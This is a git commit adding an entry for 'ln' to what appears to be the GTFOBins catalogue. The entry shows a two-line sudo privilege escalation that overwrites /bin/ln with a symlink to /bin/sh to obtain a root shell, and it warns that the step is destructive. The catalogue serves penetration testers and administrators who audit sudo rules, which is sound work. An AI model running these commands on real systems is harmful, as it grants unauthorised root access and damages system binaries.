Add ln sudo

This commit is contained in:
ARZ 2021-07-15 17:23:51 +05:00 committed by GitHub
parent ee3eb38ee4
commit fcde0d9160
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

8
_gtfobins/ln.md Normal file
View File

@ -0,0 +1,8 @@
---
description: This overrides `ln` itself with a symlink to a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `ln` by path. Warning, this is a destructive action.
functions:
sudo:
- code: |
sudo ln -fs /bin/sh /bin/ln
sudo ln
---